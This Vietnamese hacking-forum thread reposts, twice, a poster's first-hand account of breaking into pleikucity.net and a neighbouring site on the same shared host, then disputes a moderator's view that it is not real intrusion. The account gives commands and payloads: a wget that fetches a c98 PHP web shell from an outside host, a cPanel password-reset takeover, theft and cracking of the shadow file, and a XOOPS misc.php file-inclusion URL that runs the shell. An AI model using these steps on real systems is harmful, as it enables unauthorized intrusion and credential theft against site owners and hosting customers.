nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.  

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.  

Mục tiêu : Pleikucity.net Thông tin đã có về mục tiêu : Sài shared hosting ( *"3.gif"* ) , Saì Open Source XOOPS .... Inclusion file bug (misc.php): Code:

include_once XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/misc.php';

whois.sc/pleikucity.net ----> reverse IP ---> 350 Results for 67.15.40.4 (Pleikucity.net) hừhm hừhm... ! lt chọn phpBB là mục tiêu vì phpBB có nhiều bug rất củ chuối có thể remote được cả shell .. ! lụm được khoảng gần chục em sài phpBB .. chọn đại 1 thằng.. và lt chọn : http://www.sickpuppyrecords.com/ kkhì khì ! loay hoay đâu khoảng 10 phút langtu đã có 1 shell ảo trên host nó thông qua bug remote include file ! híc ! Và việc bây giờ là phải làm sao up được 1 con remv php lên host để tiện cho việc sữ dụng sau này ! OKies Code:

ls -al

thấy folder uploads của nó chmod 777 nên ta sẽ up vào đó ! nhưng up nếu up trực tiếp = file .php thì sẽ ko được .. vì *nix ko chấp nhận ! như vậy ta dùng : Code:

cd /uploads

Code:

wget haylam.com/xxx/c98.zip

unzip : Code:

unzip c98.zip

bây giờ thữ xem : http://www.sickpuppyrecords.com/phpBB/uploads/c98.php đã thành công :D Vì mới nãy ta up thông qua exploit của forum nên ta cũng có owner tương đương với user của nó là : sickpupp/sickpupp Code:

cat /home/sickpupp/.contactemail

OKies ! tiến hành forgot pass login vào Cpanel ! hehe ! Có 1 Cpanel rồi lt tính chơi trò forgot tiếp để vào thằng Pleiku nhưng ko được ,Cpanel đã fix! Vào ftp up lên con cgi-telnet rồi "ln " shadow file ra ! OK ! đã ln được shadow file .. nhưng chỉ có root mới sài nó được ( điều dĩ nhiên ) ! Lợi dụng bug của Cpanel ... loay hoay 1 hồi đã có file shadow trên máy ! Crack ko ra pass root và pass của user pleiku ! quay lại con cgi-telnet mới nãy mới up : Code:

ls -al /home/pleiku/public_html/html/

folder uploads của nó chmod 777 , up 1 em c98 lên... ! Up thành công ---> nhưng bị error 500 , dù up file perl hay php ! Nghĩ đi nghĩ lại sao lại error 500 ?? Phải chăng serv này PHP chạy dưới dạng CGI ??? chắc là thía rồi ! híc ! Với lại owner của mình là sickpupp/sickpupp mà lại up sang chỗ của thằng pleiku/plieku ... liệu có được ko ?? vì còn noob nên bỏ qua vấn đề này ! Còn nhớ mới nãy ta thấy XOOPS có 1 bug inclusion file ko ??? hí hí ! Chính hắn ! rename con c98 của mình lại thành : misc.php up lên folder uploads của nó rồi open browser lên : Code:

http://www.pleikucity.net/html/misc.php?xoopsOption%5bnocommon%5d=1&xoopsConfig%5blanguage%5d=../uploads

owner là pleiku/pleiku  

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.  

vì anh conmale nói :

Nếu cần góp ý thì tạo một chủ đề riêng cho góp ý. Không nên "PS" ở cuối một bài viết kỹ thuật để phàn nàn.  

nên em mạo muổi mở 1 topic mới để hõi vậy !  

Như em đã nói hồi bữa em có post bài " How i hack pleikucity.net " nhưng ko hiểu sao bị move vào tán gẫu .... ! anh conmale nói :

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.  

 

Vậy cho em hõi về thâm nhập 1 chút , xin phép cho em lấy cái pleikucity.net làm ví dụ luôn : Bắt đầu : em ko có bất cứ quyền hạn gì trên website đó và em đã cố gắng để chiếm đoạt toàn quyền điều khiển website đó ----> thành công ! Dậy thì có được gọi là " thâm nhập " ko ạ ?????  

Bây giờ em sẽ đề cập vào nội dung bài viết ! Đúng là mới đầu bài viết có "kết bài hơi đã kích vniss" nhưng sau khi bro prof nhắc nhở em đã edit ngay ! conmale wrote:

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.  

Tóm tắt lại nội dung bài viết :

Mục tiêu : Pleikucity.net Thông tin đã có về mục tiêu : Sài shared hosting ( *"3.gif"* ) , Saì Open Source XOOPS .... Inclusion file bug (misc.php): Code:

include_once XOOPS_ROOT_PATH.'/language/'.$xoopsConfig['language'].'/misc.php';

whois.sc/pleikucity.net ----> reverse IP ---> 350 Results for 67.15.40.4 (Pleikucity.net) hừhm hừhm... ! lt chọn phpBB là mục tiêu vì phpBB có nhiều bug rất củ chuối có thể remote được cả shell .. ! lụm được khoảng gần chục em sài phpBB .. chọn đại 1 thằng.. và lt chọn : http://www.sickpuppyrecords.com/ kkhì khì ! loay hoay đâu khoảng 10 phút langtu đã có 1 shell ảo trên host nó thông qua bug remote include file ! híc ! Và việc bây giờ là phải làm sao up được 1 con remv php lên host để tiện cho việc sữ dụng sau này ! OKies Code:

ls -al

thấy folder uploads của nó chmod 777 nên ta sẽ up vào đó ! nhưng up nếu up trực tiếp = file .php thì sẽ ko được .. vì *nix ko chấp nhận ! như vậy ta dùng : Code:

cd /uploads

Code:

wget haylam.com/xxx/c98.zip

unzip : Code:

unzip c98.zip

bây giờ thữ xem : http://www.sickpuppyrecords.com/phpBB/uploads/c98.php đã thành công :D Vì mới nãy ta up thông qua exploit của forum nên ta cũng có owner tương đương với user của nó là : sickpupp/sickpupp Code:

cat /home/sickpupp/.contactemail

OKies ! tiến hành forgot pass login vào Cpanel ! hehe ! Có 1 Cpanel rồi lt tính chơi trò forgot tiếp để vào thằng Pleiku nhưng ko được ,Cpanel đã fix! Vào ftp up lên con cgi-telnet rồi "ln " shadow file ra ! OK ! đã ln được shadow file .. nhưng chỉ có root mới sài nó được ( điều dĩ nhiên ) ! Lợi dụng bug của Cpanel ... loay hoay 1 hồi đã có file shadow trên máy ! Crack ko ra pass root và pass của user pleiku ! quay lại con cgi-telnet mới nãy mới up : Code:

ls -al /home/pleiku/public_html/html/

folder uploads của nó chmod 777 , up 1 em c98 lên... ! Up thành công ---> nhưng bị error 500 , dù up file perl hay php ! Nghĩ đi nghĩ lại sao lại error 500 ?? Phải chăng serv này PHP chạy dưới dạng CGI ??? chắc là thía rồi ! híc ! Với lại owner của mình là sickpupp/sickpupp mà lại up sang chỗ của thằng pleiku/plieku ... liệu có được ko ?? vì còn noob nên bỏ qua vấn đề này ! Còn nhớ mới nãy ta thấy XOOPS có 1 bug inclusion file ko ??? hí hí ! Chính hắn ! rename con c98 của mình lại thành : misc.php up lên folder uploads của nó rồi open browser lên : Code:

http://www.pleikucity.net/html/misc.php?xoopsOption%5bnocommon%5d=1&xoopsConfig%5blanguage%5d=../uploads

owner là pleiku/pleiku  

Liệu câu nói của anh conmale : conmale wrote:

nó đáng nằm ở box tán gẫu vì nội dung của bài viết hoàn toàn không có cái gì là thâm nhập cả.  

có chính xác lắm ko ???? vài ý kiến -nhocbmt